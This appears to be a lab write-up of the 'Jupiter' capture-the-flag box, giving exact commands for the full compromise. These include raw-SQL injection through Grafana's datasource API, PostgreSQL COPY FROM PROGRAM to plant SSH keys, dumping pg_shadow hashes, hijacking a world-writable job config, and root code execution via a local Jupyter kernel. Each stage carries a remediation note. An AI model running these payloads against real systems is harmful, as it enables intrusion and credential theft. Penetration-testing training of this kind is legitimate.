Jupiter
Summary
I found a public web server hosting a Grafana dashboard behind a 'kiosk' virtual host whose datasource-proxy API accepted raw SQL queries against a PostgreSQL backend. A PostgreSQL copy-from-program feature let me run operating-system commands as the 'postgres' account and install an SSH key for persistent access.
From that foothold, a world-writable scheduler configuration file consumed by a background simulation job running as the user 'juno' was replaced with a malicious job definition, producing a second foothold as 'juno'. Finally, a notebook-style development server bound to localhost and running as root was reached from the host itself and used to run code as root, completing full compromise of the system.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export HASH="<the-hash-you-recovered>"Some commands also carry a value in angle brackets (<cookie>, <ds_uid>, <kernel_id>, <ssh-pubkey>, <xsrf>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 2
Full port scan of the target.
$ nmap -p- -sV $TARGETResolve the discovered virtual host locally.
$ echo "$TARGET kiosk.jupiter.htb" | sudo tee -a /etc/hostsid returned uid=114(postgres).Exact commands 3
Generate a keypair; the public key goes into the payload below.
$ ssh-keygen -q -t ed25519 -f /tmp/jupiter_postgres -N '' && cat /tmp/jupiter_postgres.pubReplace <ds_uid> with the datasource uid from Grafana and <ssh-pubkey> with the key generated above.
$ curl -sS -H 'Host: kiosk.jupiter.htb' -H 'Content-Type: application/json' -X POST http://$TARGET/api/ds/query --data-binary '{"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"<ds_uid>"},"rawSql":"DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM $$bash -c \"mkdir -p /var/lib/postgresql/.ssh; echo <ssh-pubkey> >> /var/lib/postgresql/.ssh/authorized_keys\"$$;"}]}'Confirm the foothold as postgres.
$ ssh -i /tmp/jupiter_postgres postgres@$TARGET 'id; whoami; hostname'
uid=114(postgres)FixLock down the Grafana datasource-query API and the database account it usesCritical
Exact commands 3
List home directories and the shared-memory scratch area.
$ ssh -i /tmp/jupiter_postgres postgres@$TARGET 'ls -la /home; ls -la /dev/shm'Dump password hashes from Postgres for offline cracking.
$ ssh -i /tmp/jupiter_postgres postgres@$TARGET "psql -Atqc \"select usename||':'||coalesce(passwd,'') from pg_shadow\""Offline-crack the recovered $HASH-SHA-256 hash (optional, supports credentialed access elsewhere on the stack).
$ hashcat -m 28600 grafana_viewer.hash /usr/share/wordlists/rockyou.txtExact commands 4
Preserve the original config.
$ ssh -i /tmp/jupiter_postgres postgres@$TARGET 'cp /dev/shm/network-simulation.yml /dev/shm/network-simulation.yml.bak'Replace the config with a malicious process definition; substitute <ssh-pubkey> with my own key.
$ ssh -i /tmp/jupiter_postgres postgres@$TARGET 'cat > /dev/shm/network-simulation.yml' <<'EOF'
general:
stop_time: 10s
model_unblocked_syscall_latency: true
network:
graph:
type: 1_gbit_switch
hosts:
server:
network_node_id: 0
processes:
- path: /bin/bash
args: -c "mkdir -p /home/juno/.ssh; echo <ssh-pubkey> >> /home/juno/.ssh/authorized_keys"
start_time: 1s
EOFOptional: confirm the simulator consumes the new config before it is overwritten again.
$ ssh -i /tmp/jupiter_postgres postgres@$TARGET 'timeout 150 /tmp/pspy64 -p -i 100 | grep -E "juno|simulation"'Confirm the second foothold as juno once the key lands.
$ ssh -i /tmp/jupiter_juno juno@$TARGET 'id; whoami'FixRemove world-writable permissions from scheduled-job configuration filesHigh
Exact commands 3
Confirm the root-owned notebook server is reachable only from the host.
$ ssh -i /tmp/jupiter_juno juno@$TARGET 'curl -sS -i http://127.0.0.1:8888/'Harvest the _xsrf token and session cookie from the notebook server.
$ ssh -i /tmp/jupiter_juno juno@$TARGET "python3 -c \"import urllib.request,http.cookiejar; cj=http.cookiejar.CookieJar(); op=urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)); r=op.open('http://127.0.0.1:8888/tree'); print(r.status); print([(c.name,c.value) for c in cj])\""Replace <cookie>, <xsrf>, and <kernel_id> with the harvested values and an active kernel id; executes code as root.
$ ssh -i /tmp/jupiter_juno juno@$TARGET "curl -sS -b 'session=<cookie>' -H 'X-XSRFToken: <xsrf>' -X POST http://127.0.0.1:8888/api/kernels/<kernel_id>/execute -d '{\"code\":\"import os; os.system(\\\"cat /root/root.txt\\\")\"}'FixRestrict and authenticate the local Jupyter Notebook service running as rootCritical
Exact commands 2
Read the user flag; replace output with <user.txt>.
$ ssh -i /tmp/jupiter_juno juno@$TARGET 'cat /home/jovian/user.txt 2>/dev/null || cat /home/juno/user.txt'Read the root flag via the notebook kernel; replace output with <root.txt>.
$ ssh -i /tmp/jupiter_juno juno@$TARGET "curl -sS -b 'session=<cookie>' -H 'X-XSRFToken: <xsrf>' -X POST http://127.0.0.1:8888/api/kernels/<kernel_id>/execute -d '{\"code\":\"print(open(\\\"/root/root.txt\\\").read())\"}'Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |